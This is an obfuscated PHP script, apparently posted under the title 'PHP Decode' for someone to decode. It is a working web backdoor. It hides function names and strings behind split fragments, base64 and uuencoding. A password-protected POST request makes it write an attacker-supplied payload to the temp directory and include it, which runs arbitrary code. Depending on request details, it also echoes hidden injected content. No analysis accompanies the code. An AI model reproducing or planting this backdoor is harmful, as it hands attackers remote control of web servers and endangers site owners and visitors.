PHP Decode

<?php 
$t = 'er'.'ro'.'r_'.'r'.'epo'.'rt'.'in'.'g'; 
$b0 = 'MDxXRVM3Vj1FPSVdVDk2VVA3VjFJPEBgYApgCg=='; 
$b1 = 'b'.'a'.'se'.'6'.'4_'.'e'.''.'nc'.'od'.'e'; 
$b2 = 'b'.'as'.'e'.'6'.'4_d'.'e'.'c'.'o'.'d'.'e'; 
$b3 = 'c'.'on'.'ve'.'rt_uue'.'nco'.'de'; 
$b4 = 'c'.'o'.'nve'.'rt'.'_u'.'ude'.'co'.'de'; 
$b5 = 'MTlGRUw5'.'NV1QPTcxP'.'zhWXU'.'49JjVOPScsYApgCg=='; 
$b7 = ''; 
$b8 = 'JD0mR'.'UM6U'.'GBgCmAK'; 
$b9 = 'IzkmRUUKYAo='; 
$b10 = 'Izs2'.'MFU'.'KYAo='; 
$b11 = 'QC4mOFE5Q0RWLSYkVDhDMUQ'.'uJjBRODYsU'.'zlDYFMuI'.'zhWLjMtRCx'.'DQUQsIyxgCmAK'; 
$b12 = 'IjhG'.'QGA'.'KYAo='; 
$b13 = 'IjhDLGAKYAo='; 
$b14 = 'Ji8jXV'.'A6J'.'2BACmAK'; 
$b18 = 'LS8nLUM8R'.'kVQPSIh'.'UzxGLF0pUGBgCmAK'; 
$b19 = 'KylTWFwrVy1DPEZFUD0jWGAKYAo='; 
$b20 = 'TTonMVQ8JyxaK1JdUz0mJVkrRlFJO0Y1Uz0mXUc5NzBOOFZdTStXLUM8RkVQPScsTzlWNVQrRklTL1c5RQonPENUVCtDKE4sMGBgCmAK'; 
$b21 = 'JTwnKUk7RzBgCmAK'; 
$b22 = 'KD1XYE04NjFNOjZYYApgCg=='; 
$b23 = 'KD1XYE07Jl1HOjZYYApgCg=='; 
$b24 = 'KjxGNVM9JV1SO1c1VDkwYGAKYAo='; 
$b25 = 'Jz1XYE06Ry1PO0BgYApgCg=='; 
$b30 = 'KTIlMTQ0JV0oM1UtNApgCg=='; 
$b31 = 'KzRENTE1NDUzNSVdNTRERGAKYAo='; 
$b34 = 'JjxXMVI8Jl1TCmAK'; 
$b41 = 'WlhOeWEycDBjMmg1Y3paaFpUUnJhblU9'; 
$b16 = $b4($b2($b0))(); 
if (isset($_POST[$b4($b2($b12))]))  { 
    if ($b4($b2($b10))($_POST[$b4($b2($b12))]) === $b4($b2($b11)))  { 
        $b45 = $_POST[$b4($b2($b13))]; 
        $b4($b2($b5))($b16.'/'.$b4($b2($b8)), $b4($b2($b14)).$b2($b45)); 
        @include($b16.'/'.$b4($b2($b8))); 
        die(); 
    } 
 
} 
 
if (isset($_POST[$b4($b2($b8)).$b4($b2($b8))])||isset($_GET[$b4($b2($b8)).$b4($b2($b8))]))  { 
    echo $b4($b2($b10))($b4($b2($b8))); 
    die(); 
} else { 
    $b27 = 0; 
    $b26 = array($b4($b2($b22)), $b4($b2($b23)), $b4($b2($b24)), $b4($b2($b25))); 
    $b32 = $_SERVER[$b4($b2($b30))].$_SERVER[$b4($b2($b31))]; 
    foreach ($b26 as $b33) { 
        if ($b4($b2($b34))($b32, $b33) !== false)  { 
            $b27 = 1; 
        } 
 
    } 
 
    if ($b27 == 0)  { 
        echo $b4($b2($b18)).$b4($b2($b20)).$b4($b2($b19)); 
    } 
 
} ?>